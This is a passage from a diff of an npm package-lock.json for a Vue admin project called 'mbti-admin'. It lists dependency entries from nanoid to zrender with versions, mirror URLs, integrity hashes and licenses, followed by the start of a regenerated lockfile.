"sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "bin": { - "nanoid": "bin/nanoid.cjs" - }, - "engines": { - "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" - } - }, - "node_modules/node-addon-api": { - "version": "7.1.1", - "resolved": "https://registry.npmmirror.com/node-addon-api/-/node-addon-api-7.1.1.tgz", - "integrity": "sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==", - "dev": true, - "license": "MIT", - "optional": true - }, - "node_modules/normalize-path": { - "version": "3.0.0", - "resolved": "https://registry.npmmirror.com/normalize-path/-/normalize-path-3.0.0.tgz", - "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/normalize-wheel-es": { - "version": "1.2.0", - "resolved": "https://registry.npmmirror.com/normalize-wheel-es/-/normalize-wheel-es-1.2.0.tgz", - "integrity": "sha512-Wj7+EJQ8mSuXr2iWfnujrimU35R2W4FAErEyTmJoJ7ucwTn2hOUSsRehMb5RSYkxXGTM7Y9QpvPmp++w5ftoJw==", - "license": "BSD-3-Clause" - }, - "node_modules/path-browserify": { - "version": "1.0.1", - "resolved": "https://registry.npmmirror.com/path-browserify/-/path-browserify-1.0.1.tgz", - "integrity": "sha512-b7uo2UCUOYZcnF/3ID0lulOJi/bafxa1xPe7ZPsammBSpjSWQkjNxlt635YGS2MiR9GjvuXCtz2emr3jbsz98g==", - "dev": true, - "license": "MIT" - }, - "node_modules/path-parse": { - "version": "1.0.7", - "resolved": "https://registry.npmmirror.com/path-parse/-/path-parse-1.0.7.tgz", - "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", - "dev": true, - "license": "MIT" - }, - "node_modules/pathe": { - "version": "2.0.3", - "resolved": "https://registry.npmmirror.com/pathe/-/pathe-2.0.3.tgz", - "integrity": "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==", - "dev": true, - "license": "MIT" - }, - "node_modules/picocolors": { - "version": "1.1.1", - "resolved": "https://registry.npmmirror.com/picocolors/-/picocolors-1.1.1.tgz", - "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", - "license": "ISC" - }, - "node_modules/picomatch": { - "version": "4.0.3", - "resolved": "https://registry.npmmirror.com/picomatch/-/picomatch-4.0.3.tgz", - "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/jonschlinkert" - } - }, - "node_modules/pinia": { - "version": "2.3.1", - "resolved": "https://registry.npmmirror.com/pinia/-/pinia-2.3.1.tgz", - "integrity": "sha512-khUlZSwt9xXCaTbbxFYBKDc/bWAGWJjOgvxETwkTN7KRm66EeT1ZdZj6i2ceh9sP2Pzqsbc704r2yngBrxBVug==", - "license": "MIT", - "dependencies": { - "@vue/devtools-api": "^6.6.3", - "vue-demi": "^0.14.10" - }, - "funding": { - "url": "https://github.com/sponsors/posva" - }, - "peerDependencies": { - "typescript": ">=4.4.4", - "vue": "^2.7.0 || ^3.5.11" - }, - "peerDependenciesMeta": { - "typescript": { - "optional": true - } - } - }, - "node_modules/pkg-types": { - "version": "1.3.1", - "resolved": "https://registry.npmmirror.com/pkg-types/-/pkg-types-1.3.1.tgz", - "integrity": "sha512-/Jm5M4RvtBFVkKWRu2BLUTNP8/M2a+UwuAX+ae4770q1qVGtfjG+WTCupoZixokjmHiry8uI+dlY8KXYV5HVVQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "confbox": "^0.1.8", - "mlly": "^1.7.4", - "pathe": "^2.0.1" - } - }, - "node_modules/postcss": { - "version": "8.5.6", - "resolved": "https://registry.npmmirror.com/postcss/-/postcss-8.5.6.tgz", - "integrity": "sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==", - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/postcss/" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/postcss" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "dependencies": { - "nanoid": "^3.3.11", - "picocolors": "^1.1.1", - "source-map-js": "^1.2.1" - }, - "engines": { - "node": "^10 || ^12 || >=14" - } - }, - "node_modules/proxy-from-env": { - "version": "1.1.0", - "resolved": "https://registry.npmmirror.com/proxy-from-env/-/proxy-from-env-1.1.0.tgz", - "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==", - "license": "MIT" - }, - "node_modules/quansync": { - "version": "0.2.11", - "resolved": "https://registry.npmmirror.com/quansync/-/quansync-0.2.11.tgz", - "integrity": "sha512-AifT7QEbW9Nri4tAwR5M/uzpBuqfZf+zwaEM/QkzEjj7NBuFD2rBuy0K3dE+8wltbezDV7JMA0WfnCPYRSYbXA==", - "dev": true, - "funding": [ - { - "type": "individual", - "url": "https://github.com/sponsors/antfu" - }, - { - "type": "individual", - "url": "https://github.com/sponsors/sxzz" - } - ], - "license": "MIT" - }, - "node_modules/queue-microtask": { - "version": "1.2.3", - "resolved": "https://registry.npmmirror.com/queue-microtask/-/queue-microtask-1.2.3.tgz", - "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "MIT" - }, - "node_modules/readdirp": { - "version": "4.1.2", - "resolved": "https://registry.npmmirror.com/readdirp/-/readdirp-4.1.2.tgz", - "integrity": "sha512-GDhwkLfywWL2s6vEjyhri+eXmfH6j1L7JE27WhqLeYzoh/A3DBaYGEj2H/HFZCn/kMfim73FXxEJTw06WtxQwg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 14.18.0" - }, - "funding": { - "type": "individual", - "url": "https://paulmillr.com/funding/" - } - }, - "node_modules/resize-detector": { - "version": "0.3.0", - "resolved": "https://registry.npmmirror.com/resize-detector/-/resize-detector-0.3.0.tgz", - "integrity": "sha512-R/tCuvuOHQ8o2boRP6vgx8hXCCy87H1eY9V5imBYeVNyNVpuL9ciReSccLj2gDcax9+2weXy3bc8Vv+NRXeEvQ==", - "license": "MIT" - }, - "node_modules/resolve": { - "version": "1.22.11", - "resolved": "https://registry.npmmirror.com/resolve/-/resolve-1.22.11.tgz", - "integrity": "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "is-core-module": "^2.16.1", - "path-parse": "^1.0.7", - "supports-preserve-symlinks-flag": "^1.0.0" - }, - "bin": { - "resolve": "bin/resolve" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/reusify": { - "version": "1.1.0", - "resolved": "https://registry.npmmirror.com/reusify/-/reusify-1.1.0.tgz", - "integrity": "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==", - "dev": true, - "license": "MIT", - "engines": { - "iojs": ">=1.0.0", - "node": ">=0.10.0" - } - }, - "node_modules/rollup": { - "version": "4.57.1", - "resolved": "https://registry.npmmirror.com/rollup/-/rollup-4.57.1.tgz", - "integrity": "sha512-oQL6lgK3e2QZeQ7gcgIkS2YZPg5slw37hYufJ3edKlfQSGGm8ICoxswK15ntSzF/a8+h7ekRy7k7oWc3BQ7y8A==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/estree": "1.0.8" - }, - "bin": { - "rollup": "dist/bin/rollup" - }, - "engines": { - "node": ">=18.0.0", - "npm": ">=8.0.0" - }, - "optionalDependencies": { - "@rollup/rollup-android-arm-eabi": "4.57.1", - "@rollup/rollup-android-arm64": "4.57.1", - "@rollup/rollup-darwin-arm64": "4.57.1", - "@rollup/rollup-darwin-x64": "4.57.1", - "@rollup/rollup-freebsd-arm64": "4.57.1", - "@rollup/rollup-freebsd-x64": "4.57.1", - "@rollup/rollup-linux-arm-gnueabihf": "4.57.1", - "@rollup/rollup-linux-arm-musleabihf": "4.57.1", - "@rollup/rollup-linux-arm64-gnu": "4.57.1", - "@rollup/rollup-linux-arm64-musl": "4.57.1", - "@rollup/rollup-linux-loong64-gnu": "4.57.1", - "@rollup/rollup-linux-loong64-musl": "4.57.1", - "@rollup/rollup-linux-ppc64-gnu": "4.57.1", - "@rollup/rollup-linux-ppc64-musl": "4.57.1", - "@rollup/rollup-linux-riscv64-gnu": "4.57.1", - "@rollup/rollup-linux-riscv64-musl": "4.57.1", - "@rollup/rollup-linux-s390x-gnu": "4.57.1", - "@rollup/rollup-linux-x64-gnu": "4.57.1", - "@rollup/rollup-linux-x64-musl": "4.57.1", - "@rollup/rollup-openbsd-x64": "4.57.1", - "@rollup/rollup-openharmony-arm64": "4.57.1", - "@rollup/rollup-win32-arm64-msvc": "4.57.1", - "@rollup/rollup-win32-ia32-msvc": "4.57.1", - "@rollup/rollup-win32-x64-gnu": "4.57.1", - "@rollup/rollup-win32-x64-msvc": "4.57.1", - "fsevents": "~2.3.2" - } - }, - "node_modules/run-parallel": { - "version": "1.2.0", - "resolved": "https://registry.npmmirror.com/run-parallel/-/run-parallel-1.2.0.tgz", - "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "MIT", - "dependencies": { - "queue-microtask": "^1.2.2" - } - }, - "node_modules/sass": { - "version": "1.97.3", - "resolved": "https://registry.npmmirror.com/sass/-/sass-1.97.3.tgz", - "integrity": "sha512-fDz1zJpd5GycprAbu4Q2PV/RprsRtKC/0z82z0JLgdytmcq0+ujJbJ/09bPGDxCLkKY3Np5cRAOcWiVkLXJURg==", - "dev": true, - "license": "MIT", - "dependencies": { - "chokidar": "^4.0.0", - "immutable": "^5.0.2", - "source-map-js": ">=0.6.2 <2.0.0" - }, - "bin": { - "sass": "sass.js" - }, - "engines": { - "node": ">=14.0.0" - }, - "optionalDependencies": { - "@parcel/watcher": "^2.4.1" - } - }, - "node_modules/scule": { - "version": "1.3.0", - "resolved": "https://registry.npmmirror.com/scule/-/scule-1.3.0.tgz", - "integrity": "sha512-6FtHJEvt+pVMIB9IBY+IcCJ6Z5f1iQnytgyfKMhDKgmzYG+TeH/wx1y3l27rshSbLiSanrR9ffZDrEsmjlQF2g==", - "dev": true, - "license": "MIT" - }, - "node_modules/source-map-js": { - "version": "1.2.1", - "resolved": "https://registry.npmmirror.com/source-map-js/-/source-map-js-1.2.1.tgz", - "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", - "license": "BSD-3-Clause", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/strip-literal": { - "version": "2.1.1", - "resolved": "https://registry.npmmirror.com/strip-literal/-/strip-literal-2.1.1.tgz", - "integrity": "sha512-631UJ6O00eNGfMiWG78ck80dfBab8X6IVFB51jZK5Icd7XAs60Z5y7QdSd/wGIklnWvRbUNloVzhOKKmutxQ6Q==", - "dev": true, - "license": "MIT", - "dependencies": { - "js-tokens": "^9.0.1" - }, - "funding": { - "url": "https://github.com/sponsors/antfu" - } - }, - "node_modules/supports-preserve-symlinks-flag": { - "version": "1.0.0", - "resolved": "https://registry.npmmirror.com/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", - "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/to-regex-range": { - "version": "5.0.1", - "resolved": "https://registry.npmmirror.com/to-regex-range/-/to-regex-range-5.0.1.tgz", - "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "is-number": "^7.0.0" - }, - "engines": { - "node": ">=8.0" - } - }, - "node_modules/tslib": { - "version": "2.3.0", - "resolved": "https://registry.npmmirror.com/tslib/-/tslib-2.3.0.tgz", - "integrity": "sha512-N82ooyxVNm6h1riLCoyS9e3fuJ3AMG2zIZs2Gd1ATcSFjSA23Q0fzjjZeh0jbJvWVDZ0cJT8yaNNaaXHzueNjg==", - "license": "0BSD" - }, - "node_modules/typescript": { - "version": "5.4.5", - "resolved": "https://registry.npmmirror.com/typescript/-/typescript-5.4.5.tgz", - "integrity": "sha512-vcI4UpRgg81oIRUFwR0WSIHKt11nJ7SAVlYNIu+QpqeyXP+gpQJy/Z4+F0aGxSE4MqwjyXvW/TzgkLAx2AGHwQ==", - "devOptional": true, - "license": "Apache-2.0", - "bin": { - "tsc": "bin/tsc", - "tsserver": "bin/tsserver" - }, - "engines": { - "node": ">=14.17" - } - }, - "node_modules/ufo": { - "version": "1.6.3", - "resolved": "https://registry.npmmirror.com/ufo/-/ufo-1.6.3.tgz", - "integrity": "sha512-yDJTmhydvl5lJzBmy/hyOAA0d+aqCBuwl818haVdYCRrWV84o7YyeVm4QlVHStqNrrJSTb6jKuFAVqAFsr+K3Q==", - "dev": true, - "license": "MIT" - }, - "node_modules/unimport": { - "version": "3.14.6", - "resolved": "https://registry.npmmirror.com/unimport/-/unimport-3.14.6.tgz", - "integrity": "sha512-CYvbDaTT04Rh8bmD8jz3WPmHYZRG/NnvYVzwD6V1YAlvvKROlAeNDUBhkBGzNav2RKaeuXvlWYaa1V4Lfi/O0g==", - "dev": true, - "license": "MIT", - "dependencies": { - "@rollup/pluginutils": "^5.1.4", - "acorn": "^8.14.0", - "escape-string-regexp": "^5.0.0", - "estree-walker": "^3.0.3", - "fast-glob": "^3.3.3", - "local-pkg": "^1.0.0", - "magic-string": "^0.30.17", - "mlly": "^1.7.4", - "pathe": "^2.0.1", - "picomatch": "^4.0.2", - "pkg-types": "^1.3.0", - "scule": "^1.3.0", - "strip-literal": "^2.1.1", - "unplugin": "^1.16.1" - } - }, - "node_modules/unimport/node_modules/confbox": { - "version": "0.2.4", - "resolved": "https://registry.npmmirror.com/confbox/-/confbox-0.2.4.tgz", - "integrity": "sha512-ysOGlgTFbN2/Y6Cg3Iye8YKulHw+R2fNXHrgSmXISQdMnomY6eNDprVdW9R5xBguEqI954+S6709UyiO7B+6OQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/unimport/node_modules/estree-walker": { - "version": "3.0.3", - "resolved": "https://registry.npmmirror.com/estree-walker/-/estree-walker-3.0.3.tgz", - "integrity": "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/estree": "^1.0.0" - } - }, - "node_modules/unimport/node_modules/local-pkg": { - "version": "1.1.2", - "resolved": "https://registry.npmmirror.com/local-pkg/-/local-pkg-1.1.2.tgz", - "integrity": "sha512-arhlxbFRmoQHl33a0Zkle/YWlmNwoyt6QNZEIJcqNbdrsix5Lvc4HyyI3EnwxTYlZYc32EbYrQ8SzEZ7dqgg9A==", - "dev": true, - "license": "MIT", - "dependencies": { - "mlly": "^1.7.4", - "pkg-types": "^2.3.0", - "quansync": "^0.2.11" - }, - "engines": { - "node": ">=14" - }, - "funding": { - "url": "https://github.com/sponsors/antfu" - } - }, - "node_modules/unimport/node_modules/local-pkg/node_modules/pkg-types": { - "version": "2.3.0", - "resolved": "https://registry.npmmirror.com/pkg-types/-/pkg-types-2.3.0.tgz", - "integrity": "sha512-SIqCzDRg0s9npO5XQ3tNZioRY1uK06lA41ynBC1YmFTmnY6FjUjVt6s4LoADmwoig1qqD0oK8h1p/8mlMx8Oig==", - "dev": true, - "license": "MIT", - "dependencies": { - "confbox": "^0.2.2", - "exsolve": "^1.0.7", - "pathe": "^2.0.3" - } - }, - "node_modules/unplugin": { - "version": "1.16.1", - "resolved": "https://registry.npmmirror.com/unplugin/-/unplugin-1.16.1.tgz", - "integrity": "sha512-4/u/j4FrCKdi17jaxuJA0jClGxB1AvU2hw/IuayPc4ay1XGaJs/rbb4v5WKwAjNifjmXK9PIFyuPiaK8azyR9w==", - "dev": true, - "license": "MIT", - "dependencies": { - "acorn": "^8.14.0", - "webpack-virtual-modules": "^0.6.2" - }, - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/unplugin-auto-import": { - "version": "0.17.8", - "resolved": "https://registry.npmmirror.com/unplugin-auto-import/-/unplugin-auto-import-0.17.8.tgz", - "integrity": "sha512-CHryj6HzJ+n4ASjzwHruD8arhbdl+UXvhuAIlHDs15Y/IMecG3wrf7FVg4pVH/DIysbq/n0phIjNHAjl7TG7Iw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@antfu/utils": "^0.7.10", - "@rollup/pluginutils": "^5.1.0", - "fast-glob": "^3.3.2", - "local-pkg": "^0.5.0", - "magic-string": "^0.30.10", - "minimatch": "^9.0.4", - "unimport": "^3.7.2", - "unplugin": "^1.11.0" - }, - "engines": { - "node": ">=14" - }, - "funding": { - "url": "https://github.com/sponsors/antfu" - }, - "peerDependencies": { - "@nuxt/kit": "^3.2.2", - "@vueuse/core": "*" - }, - "peerDependenciesMeta": { - "@nuxt/kit": { - "optional": true - }, - "@vueuse/core": { - "optional": true - } - } - }, - "node_modules/unplugin-vue-components": { - "version": "0.26.0", - "resolved": "https://registry.npmmirror.com/unplugin-vue-components/-/unplugin-vue-components-0.26.0.tgz", - "integrity": "sha512-s7IdPDlnOvPamjunVxw8kNgKNK8A5KM1YpK5j/p97jEKTjlPNrA0nZBiSfAKKlK1gWZuyWXlKL5dk3EDw874LQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@antfu/utils": "^0.7.6", - "@rollup/pluginutils": "^5.0.4", - "chokidar": "^3.5.3", - "debug": "^4.3.4", - "fast-glob": "^3.3.1", - "local-pkg": "^0.4.3", - "magic-string": "^0.30.3", - "minimatch": "^9.0.3", - "resolve": "^1.22.4", - "unplugin": "^1.4.0" - }, - "engines": { - "node": ">=14" - }, - "funding": { - "url": "https://github.com/sponsors/antfu" - }, - "peerDependencies": { - "@babel/parser": "^7.15.8", - "@nuxt/kit": "^3.2.2", - "vue": "2 || 3" - }, - "peerDependenciesMeta": { - "@babel/parser": { - "optional": true - }, - "@nuxt/kit": { - "optional": true - } - } - }, - "node_modules/unplugin-vue-components/node_modules/chokidar": { - "version": "3.6.0", - "resolved": "https://registry.npmmirror.com/chokidar/-/chokidar-3.6.0.tgz", - "integrity": "sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==", - "dev": true, - "license": "MIT", - "dependencies": { - "anymatch": "~3.1.2", - "braces": "~3.0.2", - "glob-parent": "~5.1.2", - "is-binary-path": "~2.1.0", - "is-glob": "~4.0.1", - "normalize-path": "~3.0.0", - "readdirp": "~3.6.0" - }, - "engines": { - "node": ">= 8.10.0" - }, - "funding": { - "url": "https://paulmillr.com/funding/" - }, - "optionalDependencies": { - "fsevents": "~2.3.2" - } - }, - "node_modules/unplugin-vue-components/node_modules/local-pkg": { - "version": "0.4.3", - "resolved": "https://registry.npmmirror.com/local-pkg/-/local-pkg-0.4.3.tgz", - "integrity": "sha512-SFppqq5p42fe2qcZQqqEOiVRXl+WCP1MdT6k7BDEW1j++sp5fIY+/fdRQitvKgB5BrBcmrs5m/L0v2FrU5MY1g==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=14" - }, - "funding": { - "url": "https://github.com/sponsors/antfu" - } - }, - "node_modules/unplugin-vue-components/node_modules/picomatch": { - "version": "2.3.1", - "resolved": "https://registry.npmmirror.com/picomatch/-/picomatch-2.3.1.tgz", - "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8.6" - }, - "funding": { - "url": "https://github.com/sponsors/jonschlinkert" - } - }, - "node_modules/unplugin-vue-components/node_modules/readdirp": { - "version": "3.6.0", - "resolved": "https://registry.npmmirror.com/readdirp/-/readdirp-3.6.0.tgz", - "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", - "dev": true, - "license": "MIT", - "dependencies": { - "picomatch": "^2.2.1" - }, - "engines": { - "node": ">=8.10.0" - } - }, - "node_modules/vite": { - "version": "5.4.21", - "resolved": "https://registry.npmmirror.com/vite/-/vite-5.4.21.tgz", - "integrity": "sha512-o5a9xKjbtuhY6Bi5S3+HvbRERmouabWbyUcpXXUA1u+GNUKoROi9byOJ8M0nHbHYHkYICiMlqxkg1KkYmm25Sw==", - "dev": true, - "license": "MIT", - "dependencies": { - "esbuild": "^0.21.3", - "postcss": "^8.4.43", - "rollup": "^4.20.0" - }, - "bin": { - "vite": "bin/vite.js" - }, - "engines": { - "node": "^18.0.0 || >=20.0.0" - }, - "funding": { - "url": "https://github.com/vitejs/vite?sponsor=1" - }, - "optionalDependencies": { - "fsevents": "~2.3.3" - }, - "peerDependencies": { - "@types/node": "^18.0.0 || >=20.0.0", - "less": "*", - "lightningcss": "^1.21.0", - "sass": "*", - "sass-embedded": "*", - "stylus": "*", - "sugarss": "*", - "terser": "^5.4.0" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - }, - "less": { - "optional": true - }, - "lightningcss": { - "optional": true - }, - "sass": { - "optional": true - }, - "sass-embedded": { - "optional": true - }, - "stylus": { - "optional": true - }, - "sugarss": { - "optional": true - }, - "terser": { - "optional": true - } - } - }, - "node_modules/vscode-uri": { - "version": "3.1.0", - "resolved": "https://registry.npmmirror.com/vscode-uri/-/vscode-uri-3.1.0.tgz", - "integrity": "sha512-/BpdSx+yCQGnCvecbyXdxHDkuk55/G3xwnC0GqY4gmQ3j+A+g8kzzgB4Nk/SINjqn6+waqw3EgbVF2QKExkRxQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/vue": { - "version": "3.5.28", - "resolved": "https://registry.npmmirror.com/vue/-/vue-3.5.28.tgz", - "integrity": "sha512-BRdrNfeoccSoIZeIhyPBfvWSLFP4q8J3u8Ju8Ug5vu3LdD+yTM13Sg4sKtljxozbnuMu1NB1X5HBHRYUzFocKg==", - "license": "MIT", - "dependencies": { - "@vue/compiler-dom": "3.5.28", - "@vue/compiler-sfc": "3.5.28", - "@vue/runtime-dom": "3.5.28", - "@vue/server-renderer": "3.5.28", - "@vue/shared": "3.5.28" - }, - "peerDependencies": { - "typescript": "*" - }, - "peerDependenciesMeta": { - "typescript": { - "optional": true - } - } - }, - "node_modules/vue-demi": { - "version": "0.14.10", - "resolved": "https://registry.npmmirror.com/vue-demi/-/vue-demi-0.14.10.tgz", - "integrity": "sha512-nMZBOwuzabUO0nLgIcc6rycZEebF6eeUfaiQx9+WSk8e29IbLvPU9feI6tqW4kTo3hvoYAJkMh8n8D0fuISphg==", - "hasInstallScript": true, - "license": "MIT", - "bin": { - "vue-demi-fix": "bin/vue-demi-fix.js", - "vue-demi-switch": "bin/vue-demi-switch.js" - }, - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/antfu" - }, - "peerDependencies": { - "@vue/composition-api": "^1.0.0-rc.1", - "vue": "^3.0.0-0 || ^2.6.0" - }, - "peerDependenciesMeta": { - "@vue/composition-api": { - "optional": true - } - } - }, - "node_modules/vue-echarts": { - "version": "6.7.3", - "resolved": "https://registry.npmmirror.com/vue-echarts/-/vue-echarts-6.7.3.tgz", - "integrity": "sha512-vXLKpALFjbPphW9IfQPOVfb1KjGZ/f8qa/FZHi9lZIWzAnQC1DgnmEK3pJgEkyo6EP7UnX6Bv/V3Ke7p+qCNXA==", - "hasInstallScript": true, - "license": "MIT", - "dependencies": { - "resize-detector": "^0.3.0", - "vue-demi": "^0.13.11" - }, - "peerDependencies": { - "@vue/composition-api": "^1.0.5", - "@vue/runtime-core": "^3.0.0", - "echarts": "^5.4.1", - "vue": "^2.6.12 || ^3.1.1" - }, - "peerDependenciesMeta": { - "@vue/composition-api": { - "optional": true - }, - "@vue/runtime-core": { - "optional": true - } - } - }, - "node_modules/vue-echarts/node_modules/vue-demi": { - "version": "0.13.11", - "resolved": "https://registry.npmmirror.com/vue-demi/-/vue-demi-0.13.11.tgz", - "integrity": "sha512-IR8HoEEGM65YY3ZJYAjMlKygDQn25D5ajNFNoKh9RSDMQtlzCxtfQjdQgv9jjK+m3377SsJXY8ysq8kLCZL25A==", - "hasInstallScript": true, - "license": "MIT", - "bin": { - "vue-demi-fix": "bin/vue-demi-fix.js", - "vue-demi-switch": "bin/vue-demi-switch.js" - }, - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/antfu" - }, - "peerDependencies": { - "@vue/composition-api": "^1.0.0-rc.1", - "vue": "^3.0.0-0 || ^2.6.0" - }, - "peerDependenciesMeta": { - "@vue/composition-api": { - "optional": true - } - } - }, - "node_modules/vue-router": { - "version": "4.6.4", - "resolved": "https://registry.npmmirror.com/vue-router/-/vue-router-4.6.4.tgz", - "integrity": "sha512-Hz9q5sa33Yhduglwz6g9skT8OBPii+4bFn88w6J+J4MfEo4KRRpmiNG/hHHkdbRFlLBOqxN8y8gf2Fb0MTUgVg==", - "license": "MIT", - "dependencies": { - "@vue/devtools-api": "^6.6.4" - }, - "funding": { - "url": "https://github.com/sponsors/posva" - }, - "peerDependencies": { - "vue": "^3.5.0" - } - }, - "node_modules/vue-tsc": { - "version": "2.2.12", - "resolved": "https://registry.npmmirror.com/vue-tsc/-/vue-tsc-2.2.12.tgz", - "integrity": "sha512-P7OP77b2h/Pmk+lZdJ0YWs+5tJ6J2+uOQPo7tlBnY44QqQSPYvS0qVT4wqDJgwrZaLe47etJLLQRFia71GYITw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@volar/typescript": "2.4.15", - "@vue/language-core": "2.2.12" - }, - "bin": { - "vue-tsc": "bin/vue-tsc.js" - }, - "peerDependencies": { - "typescript": ">=5.0.0" - } - }, - "node_modules/vue3-draggable-resizable": { - "version": "1.6.5", - "resolved": "https://registry.npmmirror.com/vue3-draggable-resizable/-/vue3-draggable-resizable-1.6.5.tgz", - "integrity": "sha512-31142E31fGNnq3HKqvmFLSsqIbhck7TyGuQWhUKrDw6DOcGAuRx4ddRjaxvT6fe7dgeKH53qAh+i0ZlWtPLl2g==", - "license": "MIT" - }, - "node_modules/webpack-virtual-modules": { - "version": "0.6.2", - "resolved": "https://registry.npmmirror.com/webpack-virtual-modules/-/webpack-virtual-modules-0.6.2.tgz", - "integrity": "sha512-66/V2i5hQanC51vBQKPH4aI8NMAcBW59FVBs+rC7eGHupMyfn34q7rZIE+ETlJ+XTevqfUhVVBgSUNSW2flEUQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/zrender": { - "version": "5.6.1", - "resolved": "https://registry.npmmirror.com/zrender/-/zrender-5.6.1.tgz", - "integrity": "sha512-OFXkDJKcrlx5su2XbzJvj/34Q3m6PvyCZkVPHGYpcCJ52ek4U/ymZyfuV1nKE23AyBJ51E/6Yr0mhZ7xGTO4ag==", - "license": "BSD-3-Clause", - "dependencies": { - "tslib": "2.3.0" - } - } - } -} +{ + "name": "mbti-admin", + "version": "1.0.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "mbti-admin", + "version": "1.0.0", + "dependencies": { + "@element-plus/icons-vue": "^2.3.1", + "axios": "^1.6.7", + "dayjs": "^1.11.10", + "echarts": "^5.6.0", 